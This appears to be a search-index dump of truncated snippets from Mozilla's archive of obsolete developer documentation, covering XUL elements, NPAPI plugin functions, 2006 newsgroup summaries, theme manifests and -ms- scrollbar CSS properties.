...stheader label="last"/> </listhead> <listcols> <listcol flex="1"/> <listcol/> </listcols> <listitem> <listcell label="buck"/> <listcell label="rogers"/> </listitem> <listitem> <listcell label="john"/> <listcell label="painter"/> </listitem> </listbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, styl...
rule - Archive of obsolete content
ArchiveMozillaXULrule
attributes iscontainer, isempty, parent, parsetype examples (example needed) attributes iscontainer type: boolean indicates whether rules match based on containment.
... isempty type: boolean indicates whether rules match based on emptyness.
scrollbar - Archive of obsolete content
the user can adjust the position of the scroll bar by clicking arrows on either end of the scroll bar or by dragging the scroll bar thumb around.
... increment type: integer the amount by which the curpos (for scroll bars) or value (for number boxes and scale) attribute changes when the arrows are clicked(or scales are dragged).
scrollcorner - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] this element is used for the small box where the horizontal and vertical scrollbars meet.
... examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hi...
spinbuttons - Archive of obsolete content
spin buttons are not used as separate elements, but are used in combination with other elements to create a control that can be increased and decreased.
... attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapse...
statusbar - Archive of obsolete content
properties accessibletype examples <statusbar> <statusbarpanel label="left panel"/> <spacer flex="1"/> <progressmeter mode="determined" value="82"/> <statusbarpanel label="right panel"/> </statusbar> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, styl...
...e, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties accessibletype type: integer a value indicating the type of accessibility object for the element.
tabpanels - Archive of obsolete content
in most cases you would use a vbox, but they can be any element, although some people like to use tabpanel elements.
... inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, styl...
toolbargrippy - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] not in firefox the notch on the side of a toolbar which can be used to collapse and expand it.
... properties accessible examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width propert...
toolbarseparator - Archive of obsolete content
properties accessibletype examples <toolbox> <toolbar> <toolbarbutton label="button 1"/> <toolbarseparator /> <toolbarbutton label="button 2"/> </toolbar> </toolbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, styl...
...e, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties accessibletype type: integer a value indicating the type of accessibility object for the element.
toolbarspacer - Archive of obsolete content
properties accessibletype examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties ...
... accessibletype type: integer a value indicating the type of accessibility object for the element.
toolbarspring - Archive of obsolete content
properties accessibletype examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
...properties accessibletype type: integer a value indicating the type of accessibility object for the element.
treechildren - Archive of obsolete content
you can use the :-moz-tree-row css style to do this instead.
... inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwid...
treecols - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, styl...
...e, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties accessibletype type: integer a value indicating the type of accessibility object for the element.
treerow - Archive of obsolete content
attributes properties examples (example needed) attributes properties type: space-separated list of property names sets the properties of the element, which can be used to style the element.
... inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height,...
treeseparator - Archive of obsolete content
attributes properties examples (example needed) attributes properties type: space-separated list of property names sets the properties of the element, which can be used to style the element.
... inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height,...
wizardpage - Archive of obsolete content
this can be used to create wizards that do not have a linear sequence.
...this can be used to create wizards that do not have a linear sequence.
XULRunner/Old Releases - Archive of obsolete content
the windows and linux builds will run normal xulrunner applications, but the mac build uses cocoa widgets and will not run xulrunner applications.
...it has known security holes and should not be used in applications that deal with public web content.
Using SOAP in XULRunner 1.9 - Archive of obsolete content
though jquery is listed as a dependency, it can be worked around easily.
... (there is a diff below.) you'll need: sasoapclient.js saxmlutils.js making a soap call var url = 'http://example.com/soap/'; var ns = 'http://example.com/soap/namespace'; var method = 'foo'; var params = { 'foo': 'bar', 'baz': 'bang' }; var callback = function(obj) { components.utils.reporterror(obj.tosource()); }; soapclient.proxy = url; var body = new soapobject(method); body.ns = ns; for (var k in params) { body.appendchild(new soapobject(k).val(params[k])); } var req = new soaprequest(url, body); req.action = ns + '#' + method; soapclient.sendrequest(req, callback); diff between jqsoapclient.js and sasoapclient.js 42c42 < var jsout = $.xmltojson(xdata.responsexml); --- > var jsout = xmlobjectifier.xmltojson(xdata.responsexml); 46,60c46,62 < $.ajax({ < ...
xulauncher - Archive of obsolete content
-f "$1" ] then echo "\"$1\" is not a file" exit fi # define some variables ############################################################################## wd=/tmp ext=".xul" xulfile=`basename $1` xulname=${xulfile%$ext} xuldir="$wd/$xulname/chrome/$xulname/" xulprefdir="$wd/$xulname/defaults/preferences" xulappini="$wd/$xulname/application.ini" xulmanifest="$wd/$xulname/chrome/chrome.manifest" xulprefs="$wd/$xulname/defaults/preferences/prefs.js" # make minimal directory structure ############################################################################## mkdir -p $xuldir mkdir -p $xulprefdir # create application.ini file ############################################################################## echo " [app] vendor=xul...
... ">$xulmanifest # create prefs.js file ############################################################################## echo " pref(\"toolkit.defaultchromeuri\", \"chrome://$xulname/content/$xulfile\"); /* debugging prefs */ pref(\"browser.dom.window.dump.enabled\", true); pref(\"javascript.options.showinconsole\", true); pref(\"javascript.options.strict\", true); pref(\"nglayout.debug.disable_xul_cache\", true); pref(\"nglayout.debug.disable_xul_fastload\", true); ">$xulprefs # copy xul file to right location and run it ############################################################################## cp $xulfile $xuldir xulrunner $xulappini $@ ...
Mozilla.dev.apps.firefox-2006-09-29 - Archive of obsolete content
the distributor university students working on cache distribution project - looking for help for how to tap the http requests.
... can't view keith olbermann videos a user inability to launch videos, worked fine for others, ended up being a flash version problem.
2006-09-29 - Archive of obsolete content
the distributor university students working on cache distribution project - looking for help for how to tap the http requests.
... can't view keith olbermann videos a user inability to launch videos, worked fine for others, ended up being a flash version problem.
2006-11-17 - Archive of obsolete content
firefox 2.0 javascript popup issue user seeks advice about a line of javascript code that worked in firefox 1.5.0.x, but not in firefox 2.0 balloon help user inquires if anyone can explain how to disable the balloon help in firefox 2.0.
... two questions: (1) launching a separate intance of firefox.exe, and (2) programmatically closing a window user has two questions about using adobe flex builder debugger in firefox 2.0.
2006-11-03 - Archive of obsolete content
bug found in nslocalmailfolder.cpp david bienvenu is following up on this bug.
... meetings calendar project weekly status meeting - 2006/11/01 17:00 utc (meeting notes) calendar project weekly qa chat - 2006/11/02 16:30 utc (meeting notes) ...
2006-12-01 - Archive of obsolete content
why is there a hidden item called <category> in the card-item?
... some good discussion on the <category> items are posted.
2006-09-29 - Archive of obsolete content
summary: mozilla.dev.builds - september 22nd to 29th 2006 .mar packages peter weilbacher posted a question and asked: how does one go about creating a .mar package that can be used in updating firefox and thunderbird?
... he has already tried archiving the changed files but unfortunately this does not work with a static build because the .exe files change every time.
2006-11-03 - Archive of obsolete content
ectory (build problem on winxp) november 2nd: kenoa complained that when he is compiling using cygwin on win32 he gets the following error no such file or directory1: /cygdrive/c/mozilla/mail/config/mozconfig client.mk:339: /cygdrive/c/mozilla/.mozconfig.mk: no such file or directory he claims that the file ".mozconfig" exists in /cygdrive/c/mozilla/mail/config/mozconfig the disable-crypto cause problem originally posted on november 2nd: gxk is building minimo using the code base from sept.
... problems building browser's trunk on windows using vs 2005 originally posted on october 29th: ricardo sixel is trying to retrieve the trunk source code using the browser check out option.
2006-11-10 - Archive of obsolete content
building xulrunner application with mozilla november 8th: kirans is trying to build mozilla with xulrunner option on a windows machine.
... build problem firefox 2.0 on fc3 november 10th: vin downloaded the latest firefox 2 rc3 and tried to build it on fc3 with the following options: ./configure --enable-application=browser --prefix=$prefix --enable-extensions=default,spatialnavigation then he tried running "make" and received the following error: /usr/bin/ld: testtarray.o(.text+0x2237): unresolvable relocation against symbol `nstarray_base::semptyhdr' /usr/bin/ld: final link failed: nonrepresentable section on output collect2: ld returned 1 exit status gmake[3]: *** [testtarray] error 1 gmake[3]: le...
2006-11-10 - Archive of obsolete content
summary: mozilla.dev.l10n - november 10, 2006 announcements seamonkey 1.0.5 in belarusian belarusian [be-by] localization for seamonkey 1.0.5 is available now.
... trunk / 1_8 for kurdish firefox the firefox translations of the kurdish are only in trunk translating the firefox privacy policy the final and approved en-us version of privacy policy is available here and ready for localization team to translate.
2006-12-01 - Archive of obsolete content
discussions convert ooo .dic to .xpi convert ooo .dic to .xpi mozillatranslator and sourceforge.net about the best way to organize things creating a <locale>.jar file from the cvs structure discussion on how to package a <locale>.jar from the cvs structure without having to download the entire mozilla source.
... from 50 to 100 locales discussion continues on finding a better tool for localization.
2006-11-03 - Archive of obsolete content
announcments mozilla scheduled downtime - 11/2/2006, 7pm - 11pm pdt (0300 - 0700 utc) mozilla scheduled downtime - 11/2/2006, 7pm - 11pm pdt (0300 - 0700 utc) opening l10n repository on mozilla_1_8_branch for approved check-ins opening l10n repository on mozilla_1_8_branch for approved check-ins discussion from 50 to 100 locales a discussion on how to make l10n easier and increase the number of locals with which mozilla products ship.
... button in the upper right hand corner the removal of the firefox home page button was purposeful, you can add that function by installing this.
2006-11-17 - Archive of obsolete content
a full list can be found here mozilla/configure regeneration down preed says that the machine that does autoconf went down during a power outage.
... discussion from 50 to 100 locales continuation of the discussion of how to make l10n easier and increase the number of locals with which mozilla products ship.
2006-11-24 - Archive of obsolete content
list with regards to bon echo firefox 1.5.0.9/2.0.0.1 jay patel posted an update of bugs for the firefox 1.5.0.9/2.0.0.1 releases discussion non-ascii rendering performance boris zbarsky made some suggestions on how to improve international font rendering cvs commit access changes a large discussion went on about changes to policies surrounding cvs commit access project drivers and technical oversight mike connor suggested ways to better organize project management, policy making, and technical oversight.
... others gave input on this as well meetings because of the firefox summit last week there is no project status meeting this week november 22 gecko 1.9/gran paradiso status meeting: (agenda) ...
2006-09-29 - Archive of obsolete content
summary of newsgroup moz.dev.platform summary: mozilla.dev.platform - september 22 - 29, 2006 announcements firefox 2 release candidate 1 is now available for download announcing that firefox 2 rc 1 is available for download discussions xulrunner fails without feedback on osx intel 10.4.7 will morton is trying to port a xul application to osx.
...instead of using /path/to/xulrunner-bin.ini (which will was doing) applications on a mac must be in an application bundle (foo.app).
2006-09-29 - Archive of obsolete content
summary: mozilla.dev.quality - september 23-29, 2006 announcements litmus down because of hardware failure - we are working to fix it - the hardware that litmus runs on failed over the weekend, so litmus is still down.
...he has a working web-based tool called sibyl for providing both developer and component recommendations for bug reports.
2006-10-27 - Archive of obsolete content
summary: mozilla.dev.quality - october 20-october 27, 2006 announcements firefox & thunderbird 1.5.0.8 candidate builds available for testing!
...he recommends that a non-xpcshell environment is needed really badly, but the big issue is that the xpcshell doesn't have an event loop, so nothing asynchronous can be tested.
2006-11-10 - Archive of obsolete content
(was: extended validation certificates) a continuation of last week's discussion on extended validation certificates, the there post was getting unruly at 147 replies.
... good ideas a splinter off of the extended validation certificates discussion going over whether or not fraudulent websites may get these certificates and if so how to prevent this from happening.
2006-11-17 - Archive of obsolete content
micahc asked if there is an easier way to detect if firefox is installed and fully patched on any given machine, externally.
... extended validation certificates a note as to how opera is handling extended validation certificates http://labs.opera.com/news/2006/10/09/ fwd: re: mozilla questions regarding the ev standard gervase markham posted a summary of questions emailed to kelvin yiu about the extended validation certificates.
2006-11-24 - Archive of obsolete content
discussions continuing discussions on the extended validation certificates large amount of activity this week regarding the extended validation certificates, duane posted several snippets of interesting debates as to whether or not the protocol should be introduced.
...yet more people disgruntled by ev proposal mozilla, opera and co only tout open standards as it suits them in addition eddy nigg posted an alternative proposal for the use of extended validation certificates ev certificates / another proposal meetings none during this week.
2006-09-22 - Archive of obsolete content
caldwell submitted a patch for rhino (filed under bug #353501) with a number of improvements.
...caldwell has noted that the main javascript site on mozilla.org is sending people to the wrong newsgroup.
2006-10-27 - Archive of obsolete content
discussions removal of the nn4.6 table border color quirk discussion on removing the nn 4.6 table boarder color quirk, which currently causes a specific markup to produce a green boarder instead of a gray one.
...it was determined that the offsetwidth property can be used to get this value.
2006-11-10 - Archive of obsolete content
discussions how to know the full height and width of a webpage discussion on how to determine the full height and width of a web page when embedding a browser into an application.
...this can be defined within the nsicontentpolicy.
2006-12-24 - Archive of obsolete content
discussions [reset issue for overflow='hidden' in ie and opera there is a very modest horizontal shift of the document due to reflow associated with the removal of the vertical scroll bar (because the document content is using a horizontal centering style).
... but in firefox the document is reset (shifted both horizontally and vertically) to its 0,0 position before being centered horizontally.
2006-12- 02 - Archive of obsolete content
discussions [reset issue for overflow='hidden' in ie and opera there is a very modest horizontal shift of the document due to reflow associated with the removal of the vertical scroll bar (because the document content is using a horizontal centering style).
... but in firefox the document is reset (shifted both horizontally and vertically) to its 0,0 position before being centered horizontally.
2006-12-08 - Archive of obsolete content
discussions xpcom cpp to js callback engaging discussion on a problem with trying to call back from c++ to a javascript object using an interface the developer created with an idl.
... however, the c++ call that's supposed to be invoking the method on the javascript object is returning with 0x80004005 (ns_error_failure).
2006-12-01 - Archive of obsolete content
summary: mozilla.dev.apps.calendar - november 24 - december 01, 2006 announcements december 5th test day coming up!
... discussions cancellable async requests discussions about a bug of calicalendar's async methods.
Multi-process plugin architecture - Archive of obsolete content
the calls are transferred to the plugin process via the ipdl protocol language.
... in the plugin process, the shim layer serves as a plugin host, implementing the npn_ functions used by the plugin, and forwards the calls to the plugin dll: multi-process plugins, also called out of process plugins or oopp first shipped in firefox 3.6.4 on windows and linux, and in firefox 4 on mac os x.
NPByteRange - Archive of obsolete content
the only plug-in api call that uses the npbyterange type is npn_requestread(), which lets the plug-in read specified parts of a file without downloading it.
...the browser makes a copy if it needs to keep the objects beyond the call to npn_requestread().
NPN_ForceRedraw - Archive of obsolete content
description once a region of a windowless plugin has been invalidated with npn_invalidaterect() or npn_invalidateregion(), a plug-in can call npn_forceredraw() to force a paint message.
... this causes a synchronous update event or paint message for the plug-in.
NPN_GetValueForURL - Archive of obsolete content
if the function succeeds, the result buffer will be allocated with npn_memalloc; the plugin is responsible for freeing the buffer.
...see also npn_setvalueforurl, npn_getauthenticationinfo ...
NPN_HasMethod - Archive of obsolete content
syntax #include <npruntime.h> bool npn_hasmethod(npp npp, npobject *npobj, npidentifier methodname); parameters the function has the following parameters: npp the npp indicating which plugin instance is making the request.
...methodname a string identifier indicating the name of the method to look for.
NPN_HasProperty - Archive of obsolete content
syntax #include <npruntime.h> bool npn_hasproperty(npp npp, npobject *npobj, npidentifier propertyname); parameters the function has the following parameters: <tt>npp</tt> the npp indicating which plugin instance is making the request.
...<tt>propertyname</tt> a string identifier indicating the name of the property to look for.
NPN_RemoveProperty - Archive of obsolete content
syntax #include <npruntime.h> bool npn_removeproperty(npp npp, npobject *npobj, npidentifier propertyname); parameters the function has the following parameters: npp the npp indicating which plugin instance is making the request.
... propertyname a string identifier indicating the name of the property to remove.
NPN_SetProperty - Archive of obsolete content
syntax #include <npruntime.h> bool npn_setproperty(npp npp, npobject *npobj, npidentifier propertyname, const npvariant *value); parameters the function has the following parameters: <tt>npp</tt> the npp indicating which plugin instance's is making the request.
...<tt>propertyname</tt> a string identifier indicating the name of the property whose value is to be set.
NPN_SetValueForURL - Archive of obsolete content
(while the api theoretically allows the preferred proxy for a given url to be changed, doing so does not have much meaning given how proxies are configured, and is not supported.) syntax #include <npapi.h> typedef enum { npnurlvcookie = 501, npnurlvproxy } npnurlvariable; nperror npn_setvalueforurl(npp instance, npnurlvariable variable, const char *url, const char *value, uint32_t len); parameters this function has the following parameters: instance pointer to the current plug-in instance.
...see also npn_getvalueforurl, npn_getauthenticationinfo ...
NPN_Status - Archive of obsolete content
description you can use this function to make your plug-in display status information in the browser window, in the same place the browser does.
... if your plug-in has a button or other object that acts as a link when clicked, you can call npn_status() to display a description or url when the user moves the cursor over it.
NPN_UserAgent - Archive of obsolete content
this can be used to handle variations in different browsers (or versions thereof) when implementing your plug-in.
...you can use this information to verify that the expected browser is in use, or you can use it in combination with npn_version() to supply different code for different versions of the same browser.
NPP_New - Archive of obsolete content
it is called after np_initialize and is passed the mime type, embedded or full-screen display mode, and, for embedded plug-ins, information about html embed arguments.
...this gives developers a chance to use private attributes to communicate instance-specific options or other information to the plug-in.
NP_GetValue - Archive of obsolete content
instance parameter is null because no instance has been created.
... variable plug-in information the call gets.
NP_Port - Archive of obsolete content
description on mac os, the window field of an npwindow structure points to an np_port object, which is allocated by the browser.
... the np_port is valid for the lifetime of the npwindow, that is, until npp_setwindow is called again with a different value or the instance is destroyed.
Supporting private browsing in plugins - Archive of obsolete content
it also introduced a mechanism by which plugins can determine whether or not private browsing mode is in effect.
...detecting private browsing mode plug-ins can detect whether or not private browsing mode is in effect by using the npn_getvalue() function to check the current value of the npnvprivatemodebool variable.
Entity list - Archive of obsolete content
there is netscape's rss 0.91 (revision 1) (n 0.91 r1), netscape's rss 0.91 revision 3 (n 0.91 r3) and userland's rss 0.91 (u 0.91).
... netscape's rss 0.91 uses a dtd which defines 96 additional named entities.
UUID - Archive of obsolete content
uuid: universal unique identifier a uuid can be obtained by visiting http://www.famkruithof.net/uuid/uuidgen or by typing "firebot: uuid?" on irc.mozilla.org in a channel where nickname "firebot" is present.
... or you can also type "/query firebot uuid?" in any tab connected to the irc.mozilla.org (or, with chatzilla, "moznet") network.
contents.rdf - Archive of obsolete content
layname="my theme" chrome:accesskey="n" chrome:author="" chrome:authorurl="" chrome:description="" chrome:name="my_theme" chrome:image="preview.png"> <chrome:packages> <rdf:seq about="urn:mozilla:skin:my_theme:packages"> <rdf:li resource="urn:mozilla:skin:my_theme:browser"/> <rdf:li resource="urn:mozilla:skin:my_theme:communicator"/> <rdf:li resource="urn:mozilla:skin:my_theme:global"/> <rdf:li resource="urn:mozilla:skin:my_theme:mozapps"/> <rdf:li resource="urn:mozilla:skin:my_theme:help"/> </rdf:seq> </chrome:packages> </rdf:description> <!-- version information.
...--> <rdf:description chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:browser"/> <rdf:description chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:communicator"/> <rdf:description chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:global"/> <rdf:description chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:mozapps"/> <rdf:description chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:help"/> </rdf:rdf> ...
install.rdf - Archive of obsolete content
copy the following text and paste it into a text file, then save that file as "install.rdf": <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>{themes_uuid}</em:id> <em:version>themes_version</em:version> <!-- target application this extension can install into, with minimum and maximum supported versions.
... --> <em:targetapplication> <description> <!-- firefox's uuid --> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> <em:minversion>min_ff_version</em:minversion> <em:maxversion>max_ff_version</em:maxversion> </description> </em:targetapplication> <!-- front end metadata --> <!-- my_theme --> <em:name>my_theme</em:name> <em:description>my_theme</em:description> <em:creator>your_name</em:creator> <em:contributor>contributors_names</em:contributor> <em:homepageurl>themes_homepage</em:homepageurl> <em:updateurl> url_of_update_location </em:updateurl> <em:abouturl> url_of_about_page </em:abouturl> <!-- front end integration hooks (used by theme manager)--> <em:internalname>my_theme</em:internalname> </description> </rdf> ...
Creating a Skin for Firefox - Archive of obsolete content
you can't change what happens when the user right clicks on an image, but you can change the look of the right click menu (make it blue with pink polka dots, for example).
...original location: http://www.eightlines.com/neil/mozskin ...
-moz-binding - Archive of obsolete content
the -moz-binding css property is used by mozilla-based applications to attach an xbl binding to a dom element.
... formal definition initial valuenoneapplies toall elements except generated content or pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <url> | none examples .exampleone { -moz-binding: url(http://www.example.org/xbl/htmlbindings.xml#radiobutton); } specifications not part of any standard.
-moz-stack-sizing - Archive of obsolete content
/* keyword values */ -moz-stack-sizing: auto; -moz-stack-sizing: ignore; /* global values */ -moz-stack-sizing: inherit; -moz-stack-sizing: initial; -moz-stack-sizing: unset; if you wish to prevent the stack from resizing automatically to accommodate its children, you can set -moz-stack-sizing to ignore on the child element.
... ignore the stack won't consider this child when calculating its size.
-ms-scroll-chaining - Archive of obsolete content
in this case the image container has its -ms-scroll-chaining property set to chained, which means that when a user is scrolling through a nested scrollable element and it hits its boundary the parent scrollable element will begin to scroll in the same direction.
... .imagecontainer { -ms-scroll-chaining: chained; -ms-overflow-style: none; -ms-content-zooming: zoom; -ms-scroll-rails: none; -ms-content-zoom-limit-min: 100%; -ms-content-zoom-limit-max: 500%; -ms-scroll-snap-type: proximity; -ms-scroll-snap-points-x: snaplist(100%, 200%, 300%, 400%, 500%); -ms-overflow-style: none; width: 480px; height: 270px; overflow: auto; } specifications not part of any specification.
-ms-scroll-limit-x-max - Archive of obsolete content
formal syntax auto | <length> specifications not part of any specification.
... the specified behavior of the -ms-scroll-limit-x-max property is only applicable at a mscontentzoomfactor of 1; the behavior of this property is undefined at other zoom factors.
-ms-scroll-limit-x-min - Archive of obsolete content
formal syntax <length> specifications not part of any specification.
... the specified behavior of the -ms-scroll-limit-x-min property is only applicable at a mscontentzoomfactor of 1; the behavior of this property is undefined at other zoom factors.
-ms-scroll-limit-y-max - Archive of obsolete content
formal syntax auto | <length> specifications not part of any specification.
... the specified behavior of the -ms-scroll-limit-y-max property is only applicable at a mscontentzoomfactor of 1; the behavior of this property is undefined at other zoom factors.
-ms-scroll-limit-y-min - Archive of obsolete content
formal syntax <length> specifications not part of any specification.
... the specified behavior of the -ms-scroll-limit-y-min property is only applicable at a mscontentzoomfactor of 1; the behavior of this property is undefined at other zoom factors.
-ms-scroll-limit - Archive of obsolete content
formal syntax <'-ms-scroll-limit-x-min'> <'-ms-scroll-limit-y-min'> <'-ms-scroll-limit-x-max'> <'-ms-scroll-limit-y-max'> specifications not part of any specification.
... the specified behavior of the -ms-scroll-limit property is only applicable at a mscontentzoomfactor of 1; the behavior of this property is undefined at other zoom factors.
-ms-scrollbar-3dlight-color - Archive of obsolete content
formal syntax <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
...*/ } </style> </head> <body> <textarea class="blue3dlight">the top and left edges of the thumb and button-face elements in the scroll bar for this element will be blue.</textarea> </body> </html> specifications not part of any specification.
-ms-scrollbar-arrow-color - Archive of obsolete content
formal syntax <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
... </div> </body> the following image shows the result: specifications not part of any specification.
-ms-scrollbar-base-color - Archive of obsolete content
formal syntax <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
... specifications not part of any specification.
-ms-scrollbar-darkshadow-color - Archive of obsolete content
formal syntax <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
...p://samples.msdn.microsoft.com/workshop/samples/author/dhtml/refs/scrollbarcolor.htm <!doctype html> <html> <head> <title>scrollbar-darkshadow-color</title> <style> .blueshadow { scrollbar-darkshadow-color: blue; } </style> </head> <body> <textarea class="blueshadow">the gutter elements in the scroll bar for this element will be blue.</textarea> </body> </html> specifications not part of any specification.
-ms-scrollbar-face-color - Archive of obsolete content
formal syntax <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
... </div> </body> this image shows the result: specifications not part of any specification.
-ms-scrollbar-highlight-color - Archive of obsolete content
formal syntax <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
... </div> </body> this image shows the result: specifications not part of any specification.
-ms-scrollbar-shadow-color - Archive of obsolete content
formal syntax <color>where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
